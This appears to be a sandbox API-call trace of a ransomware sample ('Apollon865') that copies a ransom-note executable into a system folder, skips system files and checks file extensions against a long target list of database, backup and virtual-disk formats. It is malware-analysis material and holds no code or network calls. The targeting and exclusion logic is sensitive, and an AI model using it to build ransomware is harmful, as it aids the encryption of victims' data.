	[0080.411] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d510c40, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d510c40, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0080.411] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.411] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0080.411] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1
	[0080.411] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1
	[0080.411] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1
	[0080.411] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1
	[0080.411] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0
	[0080.411] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d510c40, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d510c40, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
	[0080.411] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.412] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0080.412] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData"
	[0080.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598648 | out: hHeap=0x580000) returned 1
	[0080.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0080.412] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned 42
	[0080.412] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData"
	[0080.412] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.412] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.412] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.413] GetLastError () returned 0x0
	[0080.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.413] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.413] CloseHandle (hObject=0x10c) returned 1
	[0080.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.413] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.413] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.413] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.413] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.413] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.413] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.413] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.413] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.413] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.413] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.413] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f97e950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.413] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.413] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb35800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xecb35800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xbddb7d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1
	[0080.413] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.413] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="Apollon865.txt.exe") returned 1
	[0080.413] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2=".") returned 1
	[0080.413] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="..") returned 1
	[0080.413] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="windows") returned -1
	[0080.413] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="bootmgr") returned 1
	[0080.413] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="temp") returned -1
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="pagefile.sys") returned 1
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="boot") returned 1
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="ids.txt") returned 1
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="ntuser.dat") returned 1
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="perflogs") returned 1
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2="MSBuild") returned 1
	[0080.414] lstrlenW (lpString="RacDatabase.sdf") returned 15
	[0080.414] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*") returned 44
	[0080.414] lstrcpyW (in: lpString1=0x119e65e, lpString2="RacDatabase.sdf" | out: lpString1="RacDatabase.sdf") returned="RacDatabase.sdf"
	[0080.414] lstrlenW (lpString="RacDatabase.sdf") returned 15
	[0080.414] lstrlenW (lpString="Apollon865") returned 10
	[0080.414] lstrcmpiW (lpString1="tabase.sdf", lpString2="Apollon865") returned 1
	[0080.414] lstrlenW (lpString=".dll") returned 4
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2=".dll") returned 1
	[0080.414] lstrlenW (lpString=".lnk") returned 4
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2=".lnk") returned 1
	[0080.414] lstrlenW (lpString=".ini") returned 4
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2=".ini") returned 1
	[0080.414] lstrlenW (lpString=".sys") returned 4
	[0080.414] lstrcmpiW (lpString1="RacDatabase.sdf", lpString2=".sys") returned 1
	[0080.414] lstrlenW (lpString="RacDatabase.sdf") returned 15
	[0080.414] lstrlenW (lpString="bak") returned 3
	[0080.414] lstrcmpiW (lpString1="sdf", lpString2="bak") returned 1
	[0080.414] lstrlenW (lpString="ba_") returned 3
	[0080.414] lstrcmpiW (lpString1="sdf", lpString2="ba_") returned 1
	[0080.414] lstrlenW (lpString="dbb") returned 3
	[0080.414] lstrcmpiW (lpString1="sdf", lpString2="dbb") returned 1
	[0080.414] lstrlenW (lpString="vmdk") returned 4
	[0080.414] lstrcmpiW (lpString1=".sdf", lpString2="vmdk") returned -1
	[0080.414] lstrlenW (lpString="rar") returned 3
	[0080.414] lstrcmpiW (lpString1="sdf", lpString2="rar") returned 1
	[0080.414] lstrlenW (lpString="zip") returned 3
	[0080.414] lstrcmpiW (lpString1="sdf", lpString2="zip") returned -1
	[0080.414] lstrlenW (lpString="tgz") returned 3
	[0080.414] lstrcmpiW (lpString1="sdf", lpString2="tgz") returned -1
	[0080.414] lstrlenW (lpString="vbox") returned 4
	[0080.414] lstrcmpiW (lpString1=".sdf", lpString2="vbox") returned -1
	[0080.414] lstrlenW (lpString="vdi") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="vdi") returned -1
	[0080.415] lstrlenW (lpString="vhd") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="vhd") returned -1
	[0080.415] lstrlenW (lpString="vhdx") returned 4
	[0080.415] lstrcmpiW (lpString1=".sdf", lpString2="vhdx") returned -1
	[0080.415] lstrlenW (lpString="avhd") returned 4
	[0080.415] lstrcmpiW (lpString1=".sdf", lpString2="avhd") returned -1
	[0080.415] lstrlenW (lpString="db") returned 2
	[0080.415] lstrcmpiW (lpString1="df", lpString2="db") returned 1
	[0080.415] lstrlenW (lpString="db2") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="db2") returned 1
	[0080.415] lstrlenW (lpString="db3") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="db3") returned 1
	[0080.415] lstrlenW (lpString="dbf") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="dbf") returned 1
	[0080.415] lstrlenW (lpString="mdf") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="mdf") returned 1
	[0080.415] lstrlenW (lpString="mdb") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="mdb") returned 1
	[0080.415] lstrlenW (lpString="sql") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="sql") returned -1
	[0080.415] lstrlenW (lpString="sqlite") returned 6
	[0080.415] lstrcmpiW (lpString1="se.sdf", lpString2="sqlite") returned -1
	[0080.415] lstrlenW (lpString="sqlite3") returned 7
	[0080.415] lstrcmpiW (lpString1="ase.sdf", lpString2="sqlite3") returned -1
	[0080.415] lstrlenW (lpString="sqlitedb") returned 8
	[0080.415] lstrcmpiW (lpString1="base.sdf", lpString2="sqlitedb") returned -1
	[0080.415] lstrlenW (lpString="xml") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="xml") returned -1
	[0080.415] lstrlenW (lpString="$er") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="$er") returned 1
	[0080.415] lstrlenW (lpString="4dd") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="4dd") returned 1
	[0080.415] lstrlenW (lpString="4dl") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="4dl") returned 1
	[0080.415] lstrlenW (lpString="^^^") returned 3
	[0080.415] lstrcmpiW (lpString1="sdf", lpString2="^^^") returned 1
	[0080.415] lstrlenW (lpString="abs") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="abs") returned 1
	[0080.416] lstrlenW (lpString="abx") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="abx") returned 1
	[0080.416] lstrlenW (lpString="accdb") returned 5
	[0080.416] lstrcmpiW (lpString1="e.sdf", lpString2="accdb") returned 1
	[0080.416] lstrlenW (lpString="accdc") returned 5
	[0080.416] lstrcmpiW (lpString1="e.sdf", lpString2="accdc") returned 1
	[0080.416] lstrlenW (lpString="accde") returned 5
	[0080.416] lstrcmpiW (lpString1="e.sdf", lpString2="accde") returned 1
	[0080.416] lstrlenW (lpString="accdr") returned 5
	[0080.416] lstrcmpiW (lpString1="e.sdf", lpString2="accdr") returned 1
	[0080.416] lstrlenW (lpString="accdt") returned 5
	[0080.416] lstrcmpiW (lpString1="e.sdf", lpString2="accdt") returned 1
	[0080.416] lstrlenW (lpString="accdw") returned 5
	[0080.416] lstrcmpiW (lpString1="e.sdf", lpString2="accdw") returned 1
	[0080.416] lstrlenW (lpString="accft") returned 5
	[0080.416] lstrcmpiW (lpString1="e.sdf", lpString2="accft") returned 1
	[0080.416] lstrlenW (lpString="adb") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="adb") returned 1
	[0080.416] lstrlenW (lpString="adb") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="adb") returned 1
	[0080.416] lstrlenW (lpString="ade") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="ade") returned 1
	[0080.416] lstrlenW (lpString="adf") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="adf") returned 1
	[0080.416] lstrlenW (lpString="adn") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="adn") returned 1
	[0080.416] lstrlenW (lpString="adp") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="adp") returned 1
	[0080.416] lstrlenW (lpString="alf") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="alf") returned 1
	[0080.416] lstrlenW (lpString="ask") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="ask") returned 1
	[0080.416] lstrlenW (lpString="btr") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="btr") returned 1
	[0080.416] lstrlenW (lpString="cat") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="cat") returned 1
	[0080.416] lstrlenW (lpString="cdb") returned 3
	[0080.416] lstrcmpiW (lpString1="sdf", lpString2="cdb") returned 1
	[0080.417] lstrlenW (lpString="ckp") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="ckp") returned 1
	[0080.417] lstrlenW (lpString="cma") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="cma") returned 1
	[0080.417] lstrlenW (lpString="cpd") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="cpd") returned 1
	[0080.417] lstrlenW (lpString="dacpac") returned 6
	[0080.417] lstrcmpiW (lpString1="se.sdf", lpString2="dacpac") returned 1
	[0080.417] lstrlenW (lpString="dad") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dad") returned 1
	[0080.417] lstrlenW (lpString="dadiagrams") returned 10
	[0080.417] lstrcmpiW (lpString1="tabase.sdf", lpString2="dadiagrams") returned 1
	[0080.417] lstrlenW (lpString="daschema") returned 8
	[0080.417] lstrcmpiW (lpString1="base.sdf", lpString2="daschema") returned -1
	[0080.417] lstrlenW (lpString="db-journal") returned 10
	[0080.417] lstrcmpiW (lpString1="tabase.sdf", lpString2="db-journal") returned 1
	[0080.417] lstrlenW (lpString="db-shm") returned 6
	[0080.417] lstrcmpiW (lpString1="se.sdf", lpString2="db-shm") returned 1
	[0080.417] lstrlenW (lpString="db-wal") returned 6
	[0080.417] lstrcmpiW (lpString1="se.sdf", lpString2="db-wal") returned 1
	[0080.417] lstrlenW (lpString="dbc") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dbc") returned 1
	[0080.417] lstrlenW (lpString="dbs") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dbs") returned 1
	[0080.417] lstrlenW (lpString="dbt") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dbt") returned 1
	[0080.417] lstrlenW (lpString="dbv") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dbv") returned 1
	[0080.417] lstrlenW (lpString="dbx") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dbx") returned 1
	[0080.417] lstrlenW (lpString="dcb") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dcb") returned 1
	[0080.417] lstrlenW (lpString="dct") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dct") returned 1
	[0080.417] lstrlenW (lpString="dcx") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="dcx") returned 1
	[0080.417] lstrlenW (lpString="ddl") returned 3
	[0080.417] lstrcmpiW (lpString1="sdf", lpString2="ddl") returned 1
	[0080.418] lstrlenW (lpString="dlis") returned 4
	[0080.418] lstrcmpiW (lpString1=".sdf", lpString2="dlis") returned -1
	[0080.418] lstrlenW (lpString="dp1") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="dp1") returned 1
	[0080.418] lstrlenW (lpString="dqy") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="dqy") returned 1
	[0080.418] lstrlenW (lpString="dsk") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="dsk") returned 1
	[0080.418] lstrlenW (lpString="dsn") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="dsn") returned 1
	[0080.418] lstrlenW (lpString="dtsx") returned 4
	[0080.418] lstrcmpiW (lpString1=".sdf", lpString2="dtsx") returned -1
	[0080.418] lstrlenW (lpString="dxl") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="dxl") returned 1
	[0080.418] lstrlenW (lpString="eco") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="eco") returned 1
	[0080.418] lstrlenW (lpString="ecx") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="ecx") returned 1
	[0080.418] lstrlenW (lpString="edb") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="edb") returned 1
	[0080.418] lstrlenW (lpString="epim") returned 4
	[0080.418] lstrcmpiW (lpString1=".sdf", lpString2="epim") returned -1
	[0080.418] lstrlenW (lpString="fcd") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="fcd") returned 1
	[0080.418] lstrlenW (lpString="fdb") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="fdb") returned 1
	[0080.418] lstrlenW (lpString="fic") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="fic") returned 1
	[0080.418] lstrlenW (lpString="flexolibrary") returned 12
	[0080.418] lstrcmpiW (lpString1="Database.sdf", lpString2="flexolibrary") returned -1
	[0080.418] lstrlenW (lpString="fm5") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="fm5") returned 1
	[0080.418] lstrlenW (lpString="fmp") returned 3
	[0080.418] lstrcmpiW (lpString1="sdf", lpString2="fmp") returned 1
	[0080.418] lstrlenW (lpString="fmp12") returned 5
	[0080.418] lstrcmpiW (lpString1="e.sdf", lpString2="fmp12") returned -1
	[0080.418] lstrlenW (lpString="fmpsl") returned 5
	[0080.418] lstrcmpiW (lpString1="e.sdf", lpString2="fmpsl") returned -1
	[0080.419] lstrlenW (lpString="fol") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="fol") returned 1
	[0080.419] lstrlenW (lpString="fp3") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="fp3") returned 1
	[0080.419] lstrlenW (lpString="fp4") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="fp4") returned 1
	[0080.419] lstrlenW (lpString="fp5") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="fp5") returned 1
	[0080.419] lstrlenW (lpString="fp7") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="fp7") returned 1
	[0080.419] lstrlenW (lpString="fpt") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="fpt") returned 1
	[0080.419] lstrlenW (lpString="frm") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="frm") returned 1
	[0080.419] lstrlenW (lpString="gdb") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="gdb") returned 1
	[0080.419] lstrlenW (lpString="gdb") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="gdb") returned 1
	[0080.419] lstrlenW (lpString="grdb") returned 4
	[0080.419] lstrcmpiW (lpString1=".sdf", lpString2="grdb") returned -1
	[0080.419] lstrlenW (lpString="gwi") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="gwi") returned 1
	[0080.419] lstrlenW (lpString="hdb") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="hdb") returned 1
	[0080.419] lstrlenW (lpString="his") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="his") returned 1
	[0080.419] lstrlenW (lpString="ib") returned 2
	[0080.419] lstrcmpiW (lpString1="df", lpString2="ib") returned -1
	[0080.419] lstrlenW (lpString="idb") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="idb") returned 1
	[0080.419] lstrlenW (lpString="ihx") returned 3
	[0080.419] lstrcmpiW (lpString1="sdf", lpString2="ihx") returned 1
	[0080.419] lstrlenW (lpString="itdb") returned 4
	[0080.419] lstrcmpiW (lpString1=".sdf", lpString2="itdb") returned -1
	[0080.419] lstrlenW (lpString="itw") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="itw") returned 1
	[0080.420] lstrlenW (lpString="jet") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="jet") returned 1
	[0080.420] lstrlenW (lpString="jtx") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="jtx") returned 1
	[0080.420] lstrlenW (lpString="kdb") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="kdb") returned 1
	[0080.420] lstrlenW (lpString="kexi") returned 4
	[0080.420] lstrcmpiW (lpString1=".sdf", lpString2="kexi") returned -1
	[0080.420] lstrlenW (lpString="kexic") returned 5
	[0080.420] lstrcmpiW (lpString1="e.sdf", lpString2="kexic") returned -1
	[0080.420] lstrlenW (lpString="kexis") returned 5
	[0080.420] lstrcmpiW (lpString1="e.sdf", lpString2="kexis") returned -1
	[0080.420] lstrlenW (lpString="lgc") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="lgc") returned 1
	[0080.420] lstrlenW (lpString="lwx") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="lwx") returned 1
	[0080.420] lstrlenW (lpString="maf") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="maf") returned 1
	[0080.420] lstrlenW (lpString="maq") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="maq") returned 1
	[0080.420] lstrlenW (lpString="mar") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="mar") returned 1
	[0080.420] lstrlenW (lpString="marshal") returned 7
	[0080.420] lstrcmpiW (lpString1="ase.sdf", lpString2="marshal") returned -1
	[0080.420] lstrlenW (lpString="mas") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="mas") returned 1
	[0080.420] lstrlenW (lpString="mav") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="mav") returned 1
	[0080.420] lstrlenW (lpString="maw") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="maw") returned 1
	[0080.420] lstrlenW (lpString="mdbhtml") returned 7
	[0080.420] lstrcmpiW (lpString1="ase.sdf", lpString2="mdbhtml") returned -1
	[0080.420] lstrlenW (lpString="mdn") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="mdn") returned 1
	[0080.420] lstrlenW (lpString="mdt") returned 3
	[0080.420] lstrcmpiW (lpString1="sdf", lpString2="mdt") returned 1
	[0080.420] lstrlenW (lpString="mfd") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="mfd") returned 1
	[0080.421] lstrlenW (lpString="mpd") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="mpd") returned 1
	[0080.421] lstrlenW (lpString="mrg") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="mrg") returned 1
	[0080.421] lstrlenW (lpString="mud") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="mud") returned 1
	[0080.421] lstrlenW (lpString="mwb") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="mwb") returned 1
	[0080.421] lstrlenW (lpString="myd") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="myd") returned 1
	[0080.421] lstrlenW (lpString="ndf") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="ndf") returned 1
	[0080.421] lstrlenW (lpString="nnt") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="nnt") returned 1
	[0080.421] lstrlenW (lpString="nrmlib") returned 6
	[0080.421] lstrcmpiW (lpString1="se.sdf", lpString2="nrmlib") returned 1
	[0080.421] lstrlenW (lpString="ns2") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="ns2") returned 1
	[0080.421] lstrlenW (lpString="ns3") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="ns3") returned 1
	[0080.421] lstrlenW (lpString="ns4") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="ns4") returned 1
	[0080.421] lstrlenW (lpString="nsf") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="nsf") returned 1
	[0080.421] lstrlenW (lpString="nv") returned 2
	[0080.421] lstrcmpiW (lpString1="df", lpString2="nv") returned -1
	[0080.421] lstrlenW (lpString="nv2") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="nv2") returned 1
	[0080.421] lstrlenW (lpString="nwdb") returned 4
	[0080.421] lstrcmpiW (lpString1=".sdf", lpString2="nwdb") returned -1
	[0080.421] lstrlenW (lpString="nyf") returned 3
	[0080.421] lstrcmpiW (lpString1="sdf", lpString2="nyf") returned 1
	[0080.421] lstrlenW (lpString="odb") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="odb") returned 1
	[0080.422] lstrlenW (lpString="odb") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="odb") returned 1
	[0080.422] lstrlenW (lpString="oqy") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="oqy") returned 1
	[0080.422] lstrlenW (lpString="ora") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="ora") returned 1
	[0080.422] lstrlenW (lpString="orx") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="orx") returned 1
	[0080.422] lstrlenW (lpString="owc") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="owc") returned 1
	[0080.422] lstrlenW (lpString="p96") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="p96") returned 1
	[0080.422] lstrlenW (lpString="p97") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="p97") returned 1
	[0080.422] lstrlenW (lpString="pan") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="pan") returned 1
